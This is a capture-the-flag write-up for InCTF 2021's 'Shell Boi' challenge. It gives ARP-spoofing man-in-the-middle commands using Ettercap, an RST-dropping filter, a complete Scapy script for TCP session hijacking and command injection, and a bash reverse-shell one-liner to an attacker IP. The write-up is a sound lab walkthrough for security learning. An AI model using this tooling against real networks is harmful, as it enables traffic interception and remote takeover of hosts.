👨‍💻
CTFs
HomePlaygroundOSCPBuy Me a Flag 🚩
  • 🚩Zeyu's CTF Writeups
  • Home
  • Playground
  • OSCP
  • My Challenges
    • SEETF 2023
    • The InfoSecurity Challenge 2022
    • SEETF 2022
    • Cyber League Major 1
    • STANDCON CTF 2021
      • Space Station
      • Star Cereal
      • Star Cereal 2
      • Mission Control
      • Rocket Science
      • Space University of Interior Design
      • Rocket Ship Academy
      • Space Noise
  • 2023
    • DEF CON CTF 2023 Qualifiers
    • hxp CTF
      • true_web_assembly
    • HackTM CTF Qualifiers
      • Crocodilu
      • secrets
      • Hades
  • 2022
    • niteCTF 2022
      • Undocumented js-api
      • js-api
    • STACK the Flags 2022
      • Secret of Meow Olympurr
      • The Blacksmith
      • GutHib Actions
      • Electrogrid
      • BeautyCare
    • LakeCTF Qualifiers
      • People
      • Clob-Mate
      • So What? Revenge
    • The InfoSecurity Challenge 2022
      • Level 1 - Slay The Dragon
      • Level 2 - Leaky Matrices
      • Level 3 - PATIENT0
      • Level 4B - CloudyNekos
      • Level 5B - PALINDROME's Secret (Author Writeup)
    • BalsnCTF 2022
      • 2linenodejs
      • Health Check
    • BSidesTLV 2022 CTF
      • Smuggler
      • Wild DevTools
      • Tropical API
    • Grey Cat The Flag 2022
    • DEF CON CTF 2022 Qualifiers
    • Securinets CTF Finals 2022
      • StrUggLe
      • XwaSS ftw?
      • Strong
      • Artist
    • NahamCon CTF 2022
      • Flaskmetal Alchemist
      • Hacker TS
      • Two For One
      • Deafcon
      • OTP Vault
      • Click Me
      • Geezip
      • Ostrich
      • No Space Between Us
    • Securinets CTF Quals 2022
      • Document-Converter
      • PlanetSheet
      • NarutoKeeper
    • CTF.SG CTF
      • Asuna Waffles
      • Senpai
      • We know this all too well
      • Don't Touch My Flag
      • Wildest Dreams Part 2
      • Chopsticks
    • YaCTF 2022
      • Shiba
      • Flag Market
      • Pasteless
      • Secretive
      • MetaPDF
      • Crackme
    • DiceCTF 2022
      • knock-knock
      • blazingfast
    • TetCTF 2022
      • 2X-Service
      • Animals
      • Ezflag Level 1
  • 2021
    • hxp CTF 2021
    • HTX Investigator's Challenge 2021
    • Metasploit Community CTF
    • MetaCTF CyberGames
      • Look, if you had one shot
      • Custom Blog
      • Yummy Vegetables
      • Ransomware Patch
      • I Hate Python
      • Interception
    • CyberSecurityRumble CTF
      • Lukas App
      • Finance Calculat0r 2021
      • Personal Encryptor with Nonbreakable Inforation-theoretic Security
      • Enterprice File Sharing
      • Payback
      • Stonks Street Journal
    • The InfoSecurity Challenge (TISC) 2021
      • Level 4 - The Magician's Den
      • Level 3 - Needle in a Greystack
      • Level 2 - Dee Na Saw as a need
      • Level 1 - Scratching the Surface
    • SPbCTF's Student CTF Quals
      • 31 Line PHP
      • BLT
      • CatStep
    • Asian Cyber Security Challenge (ACSC) 2021
      • Cowsay As A Service
      • Favorite Emojis
      • Baby Developer
      • API
      • RSA Stream
      • Filtered
      • NYONG Coin
    • CSAW CTF Qualification Round 2021
      • Save the Tristate
      • securinotes
      • no pass needed
      • Gatekeeping
      • Ninja
    • YauzaCTF 2021
      • Yauzacraft Pt. 2
      • Yauzabomber
      • RISC 8bit CPU
      • ARC6969 Pt. 1
      • ARC6969 Pt. 2
      • Back in 1986 - User
      • Lorem-Ipsum
    • InCTF 2021
      • Notepad 1 - Snakehole's Secret
      • RaaS
      • MD Notes
      • Shell Boi
      • Listen
      • Ermittlung
      • Alpha Pie
    • UIUCTF 2021
      • pwnies_please
      • yana
      • ponydb
      • SUPER
      • Q-Rious Transmissions
      • capture the :flag:
      • back_to_basics
      • buy_buy_buy
    • Google CTF 2021
      • CPP
      • Filestore
    • TyphoonCon CTF 2021
      • Clubmouse
      • Impasse
    • DSTA BrainHack CDDC21
      • File It Away (Pwn)
      • Linux Rules the World! (Linux)
      • Going Active (Reconnaissance)
      • Behind the Mask (Windows)
      • Web Takedown Episode 2 (Web)
      • Break it Down (Crypto)
    • BCACTF 2.0
      • L10N Poll
      • Challenge Checker
      • Discrete Mathematics
      • Advanced Math Analysis
      • Math Analysis
      • American Literature
      • More Than Meets the Eye
      • 􃗁􌲔􇺟􊸉􁫞􄺷􄧻􃄏􊸉
    • Zh3ro CTF V2
      • Chaos
      • Twist and Shout
      • 1n_jection
      • alice_bob_dave
      • Baby SSRF
      • bxxs
      • Sparta
    • Pwn2Win CTF 2021
      • C'mon See My Vulns
      • Illusion
    • NorzhCTF 2021
      • Leet Computer
      • Secure Auth v0
      • Triskel 3: Dead End
      • Triskel 2: Going In
      • Triskel 1: First Contact
      • Discovery
    • DawgCTF 2021
      • Bofit
      • Jellyspotters
      • No Step On Snek
      • Back to the Lab 2
      • MDL Considered Harmful
      • Really Secure Algorithm
      • The Obligatory RSA Challenge
      • Trash Chain
      • What the Flip?!
      • Back to the Lab 1
      • Back to the Lab 3
      • Dr. Hrabowski's Great Adventure
      • Just a Comment
      • Baby's First Modulation
      • Two Truths and a Fib
    • UMDCTF 2021
      • Advantageous Adventures
      • Roy's Randomness
      • Whose Base Is It Anyway
      • Cards Galore
      • Pretty Dumb File
      • Minetest
      • Donnie Docker
      • Subway
      • Jump Not Easy
      • To Be XOR Not To Be
      • Office Secrets
      • L33t M4th
      • Bomb 2 - Mix Up
      • Jay
    • Midnight Sun CTF 2021
      • Corporate MFA
      • Gurkburk
      • Backups
    • picoCTF 2021
      • It Is My Birthday (100)
      • Super Serial (130)
      • Most Cookies (150)
      • Startup Company (180)
      • X marks the spot (250)
      • Web Gauntlet (170 + 300)
      • Easy Peasy (40)
      • Mini RSA (70)
      • Dachshund Attacks (80)
      • No Padding, No Problem (90)
      • Trivial Flag Transfer Protocol (90)
      • Wireshark twoo twooo two twoo... (100)
      • Disk, Disk, Sleuth! (110 + 130)
      • Stonks (20)
    • DSO-NUS CTF 2021
      • Insecure (100)
      • Easy SQL (200)
Powered by GitBook
On this page
  • Challenge
  • Solution
  • Reconnaissance
  • Man-in-the-Middle
  • Hijacking the Session
  • On Hindsight...

Was this helpful?

  1. 2021
  2. InCTF 2021

Shell Boi

Unencrypted remote shell leads to TCP session hijacking and RCE through man-in-the-middle (MITM) attack

PreviousMD NotesNextListen

Last updated 3 years ago

Was this helpful?

Challenge

He sells linux shells on the shell store.

Author:

Solution

Reconnaissance

When scanning the network, I found that only 172.30.0.5 and 172.30.0.8 were up. However, no ports seemed to be open.

Port 1337 on 172.30.0.5 was "open", but the service closes the connection immediately after the handshake is completed.

Nmap scan report for 172.30.0.5
Host is up (0.042s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE    VERSION
1337/tcp open  tcpwrapped
MAC Address: 02:42:1D:65:54:70 (Unknown)

172.30.0.8, on the other hand, had no open ports.

This is weird, the category was "Network Pentest"! Anyway, I theorized that perhaps 1337 was indeed open, but the firewall blocks anyone other than 172.30.0.8 from accessing the service?

Man-in-the-Middle

Well, what better way to test this theory than to sniff the traffic? I tried using Ettercap to perform a man-in-the-middle between 172.30.0.5 and 172.30.0.8, and it worked! There were no defences in place, and I could now sniff the traffic between them.

Filtering the traffic on port 1337, we can see quite a lot of connections. Let's start with following one of those connections:

172.30.0.8 is sending the following base 64 encoded message to 172.30.0.5, on port 1337:

The two lines translate to 172.30.0.8 and 34599 respectively.

Hm... filtering the traffic on port 34599, some interesting traffic appears:

Okay, now we understand what is happening.

  • 172.30.0.8, the client, sends a request to the server in the form of a base 64 encoded message specifying the receiving IP address and port number.

  • 172.30.0.5, the server, upon receiving the request, sends an unencrypted shell to the specified IP address and port number.

Hijacking the Session

Essentially, we need to intercept the TCP connection, and spoof a response containing our custom command to the server. This is called TCP session hijacking, which builds on top of a MITM attack. The idea is that we have to calculate the correct SEQ and ACK numbers, in order to spoof a packet as the client.

In a TCP connection, if invalid SEQ numbers are received, the receiver simply discards the packets. Initial sequence numbers (ISNs) are thus randomised, preventing SEQ numbers from being predicted. Arbitrarily injected packets by an attacker "guessing" the SEQ number would therefore be likely to have invalid SEQ numbers. ****

However, if an attacker is able to achieve a man-in-the-middle attack, it would be trivial to obtain the relevant SEQ numbers of TCP packets transmitted between two nodes.

The following script implements this (this script is run after first establishing a MITM using Ettercap - we could also use Scapy to implement the MITM, but it gets really messy and Scapy faces its own limitations too).

from scapy.all import *
import argparse
import global_vars


def sniff_parser(packet):
    if IP in packet:
        print(packet.summary())


def sniffer_thread(callback, pkt_filter, iface):
    while True:
        sniff(
            prn=callback,
            filter=pkt_filter,
            count=1,
            iface=iface
        )


def forge_response(p, command):

	print(f"Received: SEQ {p[TCP].seq}, ACK {p[TCP].ack}, Payload {p[TCP].payload}")

	ip_total_len = p[IP].len
	ip_header_len = p[IP].ihl * 32 // 8
	tcp_header_len = p[TCP].dataofs * 32 // 8
	tcp_seg_len = ip_total_len - ip_header_len - tcp_header_len

	# Send command to server
	cmd_ether = Ether(src=p[Ether].dst, dst=p[Ether].src)
	cmd_ip = IP(src=p[IP].dst, dst=p[IP].src)
	cmd_tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq + tcp_seg_len, flags="PA")

	command = command + '\r\n'
	cmd = cmd_ether / cmd_ip / cmd_tcp / command

	return cmd
	

def hijack(p):

	data = str(p[TCP].payload)
	print("Received:", data)
	
	if 'root' not in data:
		return
		
	cmd = forge_response(p, global_vars.CMD)
		
	print('Spoofed command: ', cmd[TCP].payload)

	print("[+] Executing command...")
	sendp(cmd, verbose=0, iface=global_vars.IFACE)

	# sys.exit(0)


def main():
    
    parser = argparse.ArgumentParser()

    parser.add_argument(
        '-i', '--interface', default=conf.iface, help='Interface to use.'
    )

    parser.add_argument(
        'client', help='Client IP address.'
    )
    parser.add_argument(
        'server', help='Server IP address.'
    )

    parser.add_argument(
        'cmd', help='A command to execute.'
    )

    args = parser.parse_args()

    global_vars.MY_MAC = get_if_hwaddr(args.interface)
    global_vars.MY_IP = get_if_addr(args.interface)
    global_vars.IFACE = args.interface
    global_vars.CMD = args.cmd
    
    pkt_filter = f"src host {args.server} and tcp"
    
    sniffer = Thread(target=sniffer_thread, args=(hijack, pkt_filter, global_vars.IFACE))
    sniffer.start()


if __name__ == '__main__':
    main()

One small problem, though. When the client (172.30.0.8) sends an RST, the connection is closed before we get a chance to send our spoofed command! To get around this, I used the following Ettercap filter to drop the RST and RST, ACK packets.

if (ip.src == '172.30.0.8') {
	if (tcp.flags == 4 || tcp.flags == 20) {
		drop();
		msg("Filter Ran.\n");
	}
}	

The syntax for running Ettercap with the filter is:

ettercap -T -q -i tap0 -F shellboi.ef -M ARP /172.30.0.5\;172.30.0.8///

Now, we can run the Python script and specify our desired command. Our command is bash -c "bash -i >& /dev/tcp/172.30.0.14/1337 0>&1", which sends a reverse shell from the server to us.

The next time that a shell is sent to the client, our script will intercept the traffic and send the reverse shell payload to the server, allowing us to catch a shell, and obtain the flag.

The flag is inctf{Ha!Security_1s_4_my7h!!!}.

And that, everyone, is why we use SSH instead of Telnet.

On Hindsight...

There was an easier way to solve this. After performing the ARP spoofing attack using Ettercap, we could have just forged the base 64 encoded request, specifying the IP address and port of our choice to receive the shell (no scripting required?).

But hey, this was more fun, and probably more realistic!

f4lcon